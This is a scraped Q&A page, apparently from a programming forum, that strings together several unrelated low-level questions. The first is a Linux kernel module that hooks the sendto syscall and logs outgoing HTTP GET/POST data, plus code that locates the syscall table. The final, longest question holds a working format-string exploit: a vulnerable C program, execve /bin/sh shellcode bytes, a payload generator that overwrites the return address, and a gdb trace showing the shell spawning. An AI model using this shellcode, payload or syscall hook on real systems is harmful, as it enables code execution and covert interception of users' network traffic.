I'm really confusing with syscall address.
1 now I hook a syscall(fake_sendto) replace real syscall(sct[__NR_sendto]), and it workes normally.
# define fm_alert(fmt, ...) fm_printk(KERN_ALERT, fmt, ##__VA_ARGS__)
void
print_ascii(void *addr, size_t count, const char *prompt)
{
size_t index;
fm_alert("%s:\n", prompt);
for (index = 0; index < count; index += 1) {
pr_cont("%c", *((unsigned char *)addr + index));
}
return;
}
asmlinkage long
fake_sendto(int fd, void __user *buff, size_t len, unsigned flags,
struct sockaddr __user *addr, int addr_len)
{
void *kbuf = kmalloc(len + 1, GFP_KERNEL);
if (kbuf != NULL) {
if (copy_from_user(kbuf, buff, len)) {
fm_alert("%s\n", "copy_from_user failed.");
} else {
if (memcmp(kbuf, "GET", 3) == 0 ||
memcmp(kbuf, "POST", 4) == 0) {
print_ascii(kbuf, len, "ascii");
}
}
kfree(kbuf);
} else {
fm_alert("%s\n", "kmalloc failed.");
}
fm_alert("hook:%p, orig:%p\n", fake_sendto, real_sendto);
return real_sendto(fd, buff, len, flags, addr, addr_len);
}
now I dmesg to show logs:
[ 3466.057815] ifmonko.fake_sendto: hook:ffffffffc06d9070, orig:ffffffff8156b2c0
ok, I think the truely sys_sento address is above 0xffffffff8156b2c0
but when I write a test program, gdb print sendto function address is 0x7ffff7b11400 !
see below gdb debug info:
(gdb) disas main
Dump of assembler code for function main:
...
0x0000000000400cb4 <+743>: callq 0x400810 <sendto#plt>
...
End of assembler dump.
(gdb) b *0x0000000000400cb4
Breakpoint 1 at 0x400cb4: file ser.c, line 89.
(gdb) r
Starting program: /home/lid/ser 9898
Breakpoint 1, 0x0000000000400cb4 in main (argc=2, argv=0x7fffffffe6d8) at ser.c:89
89 nwrite = sendto(sfd, buf, strlen(buf), 0,
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000400cb4 in main (argc=2, argv=0x7fffffffe6d8) at ser.c:89
89 nwrite = sendto(sfd, buf, strlen(buf), 0,
(gdb) p sendto
$1 = {<text variable, no debug info>} 0x7ffff7b11400 <sendto>
(gdb) si
0x0000000000400810 in sendto#plt ()
(gdb)
sendto () at ../sysdeps/unix/syscall-template.S:81
81 T_PSEUDO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
(gdb) bt
#0 sendto () at ../sysdeps/unix/syscall-template.S:81
#1 0x0000000000400cb9 in main (argc=2, argv=0x7fffffffe6d8) at ser.c:89
(gdb) disas
Dump of assembler code for function sendto:
=> 0x00007ffff7b11400 <+0>: cmpl $0x0,0x2c8b6d(%rip) # 0x7ffff7dd9f74 <__libc_multiple_threads>
0x00007ffff7b11407 <+7>: jne 0x7ffff7b1141c <sendto+28>
0x00007ffff7b11409 <+0>: mov %rcx,%r10
0x00007ffff7b1140c <+3>: mov $0x2c,%eax
0x00007ffff7b11411 <+8>: syscall
0x00007ffff7b11413 <+10>: cmp $0xfffffffffffff001,%rax
0x00007ffff7b11419 <+16>: jae 0x7ffff7b1144f <sendto+79>
0x00007ffff7b1141b <+18>: retq
0x00007ffff7b1141c <+28>: sub $0x8,%rsp
0x00007ffff7b11420 <+32>: callq 0x7ffff7b1df20 <__libc_enable_asynccancel>
0x00007ffff7b11425 <+37>: mov %rax,(%rsp)
0x00007ffff7b11429 <+41>: mov %rcx,%r10
0x00007ffff7b1142c <+44>: mov $0x2c,%eax
0x00007ffff7b11431 <+49>: syscall
0x00007ffff7b11433 <+51>: mov (%rsp),%rdi
0x00007ffff7b11437 <+55>: mov %rax,%rdx
0x00007ffff7b1143a <+58>: callq 0x7ffff7b1df80 <__libc_disable_asynccancel>
0x00007ffff7b1143f <+63>: mov %rdx,%rax
0x00007ffff7b11442 <+66>: add $0x8,%rsp
0x00007ffff7b11446 <+70>: cmp $0xfffffffffffff001,%rax
0x00007ffff7b1144c <+76>: jae 0x7ffff7b1144f <sendto+79>
0x00007ffff7b1144e <+78>: retq
0x00007ffff7b1144f <+79>: mov 0x2c2a12(%rip),%rcx # 0x7ffff7dd3e68
0x00007ffff7b11456 <+86>: neg %eax
0x00007ffff7b11458 <+88>: mov %eax,%fs:(%rcx)
---Type <return> to continue, or q <return> to quit---
0x00007ffff7b1145b <+91>: or $0xffffffffffffffff,%rax
0x00007ffff7b1145f <+95>: retq
End of assembler dump.
(gdb)
why does gdb show different from between hook function and syscall table ?
why does gdb show different from between hook function and syscall table ?
One is in the kernel space, and the other is in user space. They have approximately nothing to do with each other.
Related
I'm trying to recreate the strcpy function in asm, the thing is when I use movsb to move a byte from rsi to rdi my program segfaults, I'm not sure if movsb is the right thing to use here, I'm just beginning to learn assembly, here is the code:
global ft_strcpy
section .text:
ft_strcpy:
mov rcx, 0
jmp copy
copy:
inc rcx
cmp BYTE[rsi], 0
je exit
cld
movsb
jmp copy
exit:
movsb
sub rdi, rcx
mov rax, rdi
ret
and here's a simple main to test it
char *ft_strcpy(char *d, char *s);
int main(void)
{
char *s = "hello";
char *d = "world!!!!";
ft_strcpy(d, s); //it crashes here and with lldb it says it's at movsb
return (0);
}
Thanks for your help
So, from this code, a kernel module, there is a get_system_call function to get the x86_64 system call table.
#define IA32_LSTAR 0xc0000082
void *get_system_call(void)
{
void *system_call;
unsigned char *ptr;
int i, low, high;
asm volatile("rdmsr" : "=a" (low), "=d" (high) : "c" (IA32_LSTAR));
system_call = (void*)(((long)high<<32) | low);
printk(KERN_INFO "system_call: 0x%p\n", system_call);
for (ptr=system_call, i=0; i<500; i++) {
if (ptr[0] == 0xff && ptr[1] == 0x14 && ptr[2] == 0xc5)
return (void*)(0xffffffff00000000 | *((unsigned int*)(ptr+3)));
ptr++;
}
return NULL;
}
I try to rewrite the x86 assembly version like this:
global _start
section .text
_start:
mov ecx, 0xc0000082
rdmsr
mov edx, 32
mov ecx, edx
sal edx, cl
or eax, edx
.loop_init:
mov ecx, eax
add ecx, 500
jmp .loop_body
.loop:
add eax, 1
cmp ecx, eax
je .fail
.loop_body:
cmp byte [eax], 0xff
jne .loop
cmp byte [eax+1], 0x14
jne .loop
cmp byte [eax+2], 0xc5
jne .loop
.success:
mov ecx, 0xffffffff
mov eax, dword [eax+3]
or eax, ecx
ret
.fail:
xor eax, eax
ret
My question is: Is that correct or I'm totally wrong ?
I need to edit a string received from user in C++ code in assembly. I found this tutorial http://msdn.microsoft.com/en-US/library/y8b57x4b(v=vs.80).aspx and according to it my code should work
int main ()
{
char* s;
s=new char[80];
cin.getline(s,80);
__asm
{
mov eax, offset s
}
}
But the compiler shows an error on the line with mov "improper operand type". What is wrong and how can i fix it?
char* s is a local variable. It will be created when the function is called and "forgotten" when the function returns. There exists no "offset" (i.e an absolute memory address) for it at compiletime. But you can inline-assembler force to load the pointer:
#include <iostream>
using namespace std;
int main ()
{
char* s;
s=new char[80];
__asm
{
mov ebx, s ; = mov ebx, [ebp-4]
mov byte ptr [ebx], 'H'
mov byte ptr [ebx+1], 'e'
mov byte ptr [ebx+2], 'l'
mov byte ptr [ebx+3], 'l'
mov byte ptr [ebx+4], 'o'
mov byte ptr [ebx+5], 0 ; Don't forget the terminator!
}
cout << s << endl;
return 0;
}
I am using armv7 for openwrt development and facing a segfault caused by vfork.
I have wrote a small test program with the following segments:
...
pid_t child_t;
if((child_t = vfork()) < 0)
{
printf("error!\n");
return -1;
}
else if(child_t == 0)
{
printf("in child:pid =%d\n",getpid());
sleep(2);
_exit(0);
}
else
{
printf("in parent:child_t id = %d,pid = %d\n",child_t,getpid());
}
...
The vfork() function always cause segfault, this is the gdb debug trace:
...
(gdb) c
Breakpoint 1, main (argc=1, argv=0xbefffed4) at handler.c:33
33 if((child_t = vfork()) < 0)
(gdb) stepi
0x00008474 in vfork () at libpthread/nptl/sysdeps/unix/sysv/linux/arm/../../../../../../../libc/sysdeps/linux/arm/vfo rk.S:71
71 SAVE_PID
(gdb) l
66
67 #else
68 __vfork:
69
70 #ifdef __NR_vfork
71 SAVE_PID
72 DO_CALL (vfork)
73 RESTORE_PID
74 cmn r0, #4096
75 IT(t, cc)
(gdb) b libpthread/nptl/sysdeps/unix/sysv/linux/arm/../../../../../../../libc/sysdeps/linux/arm/vfo rk.S:72
Breakpoint 2 at 0xb6fcf930: file libpthread/nptl/sysdeps/unix/sysv/linux/arm/../../../../../../../libc/sysdeps/linux/arm/vfo rk.S, line 72.
(gdb) disassemble
0x00008584 <+40>: bl 0x8444 <puts>
=> 0x00008588 <+44>: bl 0x8474 <vfork>
0x0000858c <+48>: str r0, [r11, #-12]
(gdb)stepi
...
(gdb) stepi
0x00008474 in vfork () at libpthread/nptl/sysdeps/unix/sysv/linux/arm/../../../../../../../libc/sysdeps/linux/arm/vfo rk.S:71
71 SAVE_PID
(gdb) disassemble
Dump of assembler code for function vfork:
=> 0x00008474 <+0>: add r12, pc, #0, 12
0x00008478 <+4>: add r12, r12, #8, 20 ; 0x8000
0x0000847c <+8>: ldr pc, [r12, #796]! ; 0x31c
(gdb) stepi
…
(gdb) disassemble
Dump of assembler code for function vfork:
0x00008474 <+0>: add r12, pc, #0, 12
0x00008478 <+4>: add r12, r12, #8, 20 ; 0x8000
=> 0x0000847c <+8>: ldr pc, [r12, #796]! ; 0x31c
(gdb)c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xffff0fe0 in ?? ()
(gdb)
I have also found the vfork code at vfork.S:
__vfork:
#ifdef __NR_vfork
SAVE_PID
DO_CALL (vfork)
RESTORE_PID
cmn r0, #4096
IT(t, cc)
#if defined(__USE_BX__)
bxcc lr
#else
movcc pc, lr
#endif
/* Check if vfork even exists. */
ldr r1, =-ENOSYS
teq r0, r1
bne __error
#endif
/* If we don't have vfork, use fork. */
DO_CALL (fork)
cmn r0, #4096
/* Syscall worked. Return to child/parent */
IT(t, cc)
#if defined(__USE_BX__)
bxcc lr
#else
movcc pc, lr
#endif
__error:
b __syscall_error
#endif
Some more information -
when bypassing vfork like this -
VFORK_LOCK;
- if ((pid = vfork()) == 0) { /* Child of vfork... */
+ // if ((pid = vfork()) == 0) { /* Child of vfork... */
+ pid = syscall(__NR_fork, NULL);
+ if (pid == 0) { /* Child of vfork... */
Everything seems to work fine.
Thank you all for your help!
man (3) vfork
The vfork() function shall be equivalent to fork(), except that the behavior is undefined if the process created by vfork() either modifies any data other than a variable of type pid_t used to store the return value from vfork(), or returns from the function in which vfork() was called, or calls any other function before successfully calling _exit() or one of the exec family of functions.
So in the child you can call _exit or exec. That's it.
The solution here was to enable CONFIG_KUSER_HELPER flag.
From CONFIG_USERS_HELPERS.
If all of the binaries and libraries which run on your platform
are built specifically for your platform, and make no use of
these helpers, then you can turn this option off to hinder
such exploits. However, in that case, if a binary or library
relying on those helpers is run, it will receive a SIGILL signal,
which will terminate the program.
I'm trying to exploit my format string bug, which lies in this program:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);
/* just print the tmp buffer */
printf("%s", tmp);
}
int main(int argc, char** argv) {
char tmp[512];
char format[512];
while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);
/* read at most 512 bytes into format */
read(0, format, 512);
/* compare two strings */
if (!strncmp(format, "exit", 4))
break;
foo(tmp, format);
}
return 0;
}
The stack looks like this:
Low Memory Addresses
before printf before sprintf
function function
-----------------------
| 0xbffff258 | -
----------------------- ----------------------- |--- arguments to printf/sprintf
| 0xbffff258 | | 0xbffff058 | -
----------------------- -----------------------
| 0xbffff458 | (saved EBP)
-----------------------
| 0x08048528 | (return address to main - EIP)
-----------------------
| 0xbffff258 | (pointer to tmp)
-----------------------
| 0xbffff058 | (pointer to format)
-----------------------
| 0x00000004 | (constant 4)
-----------------------
| format[0] | (starts at 0xbffff058)
-----------------------
| format[511] |
-----------------------
| tmp[0] | (starts at 0xbffff258)
-----------------------
| tmp[511] |
-----------------------
High Memory Addresses
so the basic idea is to write a sequence of %x, %n, ... and feed it to the program. The program I'm using to build up the input string is:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];
memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);
memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);
printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}
we can see that I've overwritting the addresses: 0xbffff048, 0xbffff049, 0xbffff04a, 0xbffff04b, with the following hexadecimals: 0x68, 0xf0, 0xff, 0x1bf, which gives us the address: 0xbffff068 (which is the address of the shellcode in memory). So the idea is to overwrite the 0x08048528 (EIP) with this address, so when function returns it would jump to that address.
I've done all this and checked with debugger that this is all fine. But I still get the segmentation fault in vfprintf () from /lib/libc.so.6.
Do anybody have any idea what's going on. Did I screw something up?
Thanks
Full Rewrite
Ok, so you're stack is executable. Good.
You should try disabling stack address randomization.
This appears to be x86, but that sort of information should be added to the question.
The addresses have changes a little bit, but I've done what you told me, I've used stepi and the results are:
After the strcpy the memory looks like:
(gdb) x/50x $esp
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
we can see that the address to jump to is now 0xbffff050, which is correct (there lies our shellcode).
and then I execute stepi:
(gdb) i reg $eip
eip 0x804846c 0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13 }
let's analyze a little bit:
(gdb) i reg $eip
eip 0x804846d 0x804846d <foo+25>
(gdb) x/4i $eip
=> 0x804846d <foo+25>: ret
0x804846e <main>: push ebp
0x804846f <main+1>: mov ebp,esp
0x8048471 <main+3>: sub esp,0x414
ok if I do one more stepi, then the return should be executed and the execution jumped on the address: 0xbffff050.
and stepi again to execute return:
(gdb) stepi
0xbffff050 in ?? ()
(gdb) x/4i $eip
=> 0xbffff050: jmp 0xbffff06c
0xbffff052: pop esi
0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) i reg $eip
eip 0xbffff050 0xbffff050
ok it tried to jump on the 0xbffff050, but didn't succeed or what? The EIP is still at 0xbffff050.
The memory looks like:
(gdb) x/50x 0xbffff024
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
I didn't use the $esp to display memory, because it has changed from 0xbffff024 to 0xbffff034.
Ok, let's jump to 0xbffff06c (this is beginning of the shellcode):
(gdb) stepi
0xbffff06c in ?? ()
(gdb) x/4i $eip
=> 0xbffff06c: call 0xbffff052
Ok, let's call the 0xbffff052:
(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052: pop esi
0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
Let's store ESI register with the return address from the previous call:
(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi 0xbffff071 -1073745807
Let's set EAX to 0:
(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax 0x0 0
Let's write the null in the location in memory:
(gdb) x/4i $eip
=> 0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
(gdb) x/20x $esp
before:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
after:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414100 0x41414141 0x4141414
Execute the LEA instruction:
(gdb) x/4i $eip
=> 0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) x/x $esi
0xbffff071: 0x6e69622f
(gdb) x/x $ebx
0x29aff4: 0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071: 0x6e69622f
Another memory change:
(gdb) x/4i $eip
=> 0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0xfff07100 0x000000bf 0x41414100
Fill EAX with system call:
(gdb) x/4i $eip
=> 0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
(gdb) i reg $eax
eax 0x0 0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax 0xb 11
Fill ebx, ecx, edx:
(gdb) x/4i $eip
=> 0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
0xbffff06a: int 0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax 0xb 11
ebx 0xbffff071 -1073745807
ecx 0xbffff079 -1073745799
edx 0xbffff07d -1073745795
Execute the int instruction:
(gdb) x/4i $eip
=> 0xbffff06a: int 0x80
0xbffff06c: call 0xbffff052
0xbffff071: das
0xbffff072: bound ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash
Program exited normally.
And another stepi:
(gdb) stepi
The program is not being run.
So I guess there's no error, it works. But the problem remains that when I start the program normally, I just don't get the /bin/dash console. The curios thing is that the process 2863 just exits immediately...without prompting for a shell in the gdb? Any ideas?